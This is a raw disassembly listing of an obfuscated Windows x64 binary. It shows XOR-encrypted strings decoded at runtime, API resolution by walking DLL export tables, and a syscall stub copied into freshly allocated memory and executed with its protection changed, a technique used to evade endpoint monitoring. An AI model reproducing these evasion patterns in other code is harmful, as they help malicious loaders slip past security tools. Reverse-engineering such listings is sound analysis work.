lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xb78]
xor dil, r8b
mov byte [rbp + r8 + 0xb78], dil
inc r8
add r9, r12
add r10, 0x22
movabs rax, 0x2001dcd460
cmp r9, rax
jb 0x14002e19d
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14009d818
int3
mov edi, dword [r13 + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x140111690], r14
jne 0x14002e273
mov ecx, 0x26b0
call fcn.1400a20dc
test rax, rax
je 0x14002e273
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x140111690], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1400f02a0]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.14003801c
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
inc rdi
cmp rdi, 0x17
jb 0x14002e2b2
mov byte [rbp + 0x7ff], r14b
mov rbx, qword [0x140111690]
test rbx, rbx
je 0x14002e3ca
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002e382
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a20dc
mov rsi, rax
test rax, rax
je 0x14002e3c7
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140111690]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c02d0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c0970
mov rcx, rdi
call fcn.1400a1fb8
mov qword [0x140111690], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_32
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
mov qword [rsp + 0x20], r13
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.140037f34
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x14002e3e1
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x140111690]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x14002e4f2
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002e4ac
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a20dc
mov rsi, rax
test rax, rax
je 0x14002e4ef
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140111690]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c02d0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c0970
mov rcx, rdi
call fcn.1400a1fb8
mov qword [0x140111690], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
mov r12d, 3
test rax, rax
je 0x14002e585
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002e585
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002e585
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002e585
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14002e585
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002e578
inc rax
test edi, edi
jne 0x14002e563
test r8d, r8d
je 0x14002e5fc
inc rdx
cmp rdx, rsi
jb 0x14002e552
mov esi, r14d
mov rdi, qword [0x140111690]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
test r15, r15
jle 0x14002e7d0
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x14002e7bd
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14002e7bd
mov al, byte [rbp + 0xf70]
test al, al
jne 0x14002e782
xor edx, edx
call fcn.1400c0970
jmp 0x14002e7bb
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002e585
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
jns 0x14002e620
xor r14d, r14d
jmp 0x14002e585
mov r9d, 4
mov r8d, 0x3000
mov r15d, 0x1000
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.140096850
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.140038af8
lea rcx, [rbp + 0x87b0]
call fcn.140038090
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x87b0]
call fcn.140038090
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14002e694
mov r8, r15
lea rdx, [rbp + 0x466e0]
mov rcx, rbx
call fcn.1400c02d0
mov dword [0x140107ec4], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x140107ec0]
movsd qword [rdi], xmm0
movzx eax, word [0x140107ec8]
mov word [rdi + 8], ax
mov al, byte [0x140107eca]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfcc], r14d
lea r9, [rbp + 0xfcc]
lea r8d, [r14 + 0x20]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1020]
mov r8, r12
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov esi, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r15
xor edx, edx
mov rcx, rbx
call fcn.1400c0970
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140107ec4], r14d
jmp 0x14002e588
cmp al, 1
jne 0x14002e7bd
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.140038860
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.140038a14
lea rcx, [rbp + 0x1168]
call fcn.1400389a4
lea rcx, [rbp + 0x1168]
call fcn.140010ff8
xor edx, edx
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x14002e5b1
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400c0970
mov rcx, rdi
call fcn.1400a1fb8
xor r15d, r15d
mov qword [0x140111690], r15
test esi, esi
js 0x140036af5
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x140036af5
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.1400a20dc
test rax, rax
je 0x14002e833
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x140111690], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1400f02a0]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.14003801c
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x14002e876
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x140111690]
test rbx, rbx
je 0x14002e99d
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002e949
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a20dc
mov rsi, rax
test rax, rax
je 0x14002e990
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140111690]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c02d0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c0970
mov rcx, rdi
call fcn.1400a1fb8
mov qword [0x140111690], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_32
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14002e993
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.140037f34
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x14002e9b4
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x140111690]
test rbx, rbx
je 0x14002eac3
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002ea7b
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a20dc
mov rsi, rax
test rax, rax
je 0x14002eac0
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140111690]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c02d0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c0970
mov rcx, rdi
call fcn.1400a1fb8
mov qword [0x140111690], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14002eac3
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14002eb54
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002eb54
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002eb54
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002eb54
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14002eb54
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002eb43
inc rax
test edi, edi
jne 0x14002eb2e
test r8d, r8d
je 0x14002ebd2
inc rdx
cmp rdx, rsi
jb 0x14002eb1d
mov esi, r15d
mov rdi, qword [0x140111690]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov r14d, r13d
test r15, r15
jle 0x14002eda2
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rax, xmm1
test rax, rax
je 0x14002ed8f
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14002ed8f
mov cl, byte [rbp + 0xf70]
test cl, cl
jne 0x14002ed55
xor edx, edx
mov rcx, rax
call fcn.1400c0970
jmp 0x14002ed8f
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002eb54
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x14002eb54
cmp cl, 1
jne 0x14002ed8f
mov rdx, rax
lea rcx, [rbp + 0x1148]
call fcn.140038860
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.140038a14
lea rcx, [rbp + 0x1148]
call fcn.1400389a4
lea rcx, [rbp + 0x1148]
call fcn.140010ff8
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x14002eb84
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400c0970
mov rcx, rdi
call fcn.1400a1fb8
mov qword [0x140111690], r13
test esi, esi
js 0x14003696f
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x14003696f
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov r14, qword [rsp + 0x70]
mov qword [rsp + 0x70], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r15d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r15
cmp r8d, 8
jb 0x14002ee52
mov ebx, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r11b, dil
xor r11b, 0x28
mov esi, edi
mov r9d, r13d
lea r10, [rbp + 0xf58]
movzx ecx, byte [r10]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xf58]
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
add r9d, r15d
add r10, r15
cmp r9d, 8
jb 0x14002eecb
movzx ecx, r11b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add ebx, r15d
add r8, r15
movsxd rax, ebx
cmp rax, 0x28
jb 0x14002eead
mov qword [rbp + 0xf58], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], rax
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r15
cmp r8d, 8
jb 0x14002ef6b
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, esi
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r15d
add r9, r15
cmp ecx, 8
jb 0x14002efd9
movdqa xmm0, xmmword [0x1400f02d0]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], Ordinal_79
mov r10, r13
mov ebx, 0x787f7b98
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x800773518
movabs r9, 0x1000ee6a30
lea r14d, [rbx - 1]
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x1400369b8
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x1400f02c0]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0x1d30f91b
mov dword [rbp + 0x96c], 0xf3ba446c
mov dword [rbp + 0x970], 0x897fa80a
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
lea r10d, [rax + 0x1c]
movabs r9, 0xd2df184a0
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x1a5be30940
cmp r9, rax
jb 0x140036a63
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14009d818
int3
movdqa xmm0, xmmword [0x1400f02d0]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], Ordinal_79
mov r10, r15
mov ebx, 0x787f7b98
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x800773518
movabs r9, 0x1000ee6a30
lea r14d, [rbx - 1]
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x308]
xor dil, r10b
mov byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140036b3e
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [str.88_b_]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0x4849b515
mov word [rbp + 0x754], Ordinal_45
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x9e2752378
movabs r10, 0x13c4ea46f0
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x140036bea
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14009d818
int3
cmp rax, rbx
jne 0x140036d26
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x16deb3e7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x1d9b9c58
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036d06
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036d06
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036d26
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d818
int3
movdqa xmm0, xmmword [0x1400f02d0]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], Ordinal_79
mov r10, r14
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x800773518
movabs r9, 0x1000ee6a30
mov r15d, 0x787f7b97
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x350], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140036d6c
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x1400f0170]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0x3c59668a
mov dword [rbp + 0x82c], 0x688f93
mov r8, r14
mov r10d, reloc.WS2_32.dll_socket
movabs r9, 0xad3741aa8
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x818], dil
inc r8
add r9, r12
add r10, 0x17
movabs rax, 0x15a6e83550
cmp r9, rax
jb 0x140036e07
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x42]
cmp rax, rbx
jne 0x140036f3d
mov rax, qword gs:[0x35]
mov ecx, 0xade9c597
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036f1d
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036f1d
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036f3d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, rbx
jne 0x1400375c9
mov rax, qword gs:[0x35]
movabs rsi, 0x8da1264b19cedc00
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036fd5
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036fd5
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400375c9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
movdqa xmm0, xmmword [0x1400f02d0]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], Ordinal_79
mov r10, r14
movabs rbx, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x800773518
movabs r9, 0x1000ee6a30
mov r13d, 0x787f7b97
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x368]
xor dil, r10b
mov byte [rbp + r10 + 0x368], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14003703b
mov byte [rbp + 0x379], r14b
movdqa xmm0, xmmword [0x1400f01d0]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0x414db130
mov word [rbp + 0x76c], gethostname
mov r9, r14
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x9e2752378
movabs r10, 0x13c4ea46f0
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x758], dil
inc r9
add r8, r12
add r11, 0x15
cmp r8, r10
jb 0x1400370e7
mov byte [rbp + 0x76d], r14b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x42]
cmp rax, rsi
jne 0x140037213
mov rax, qword gs:[0x35]
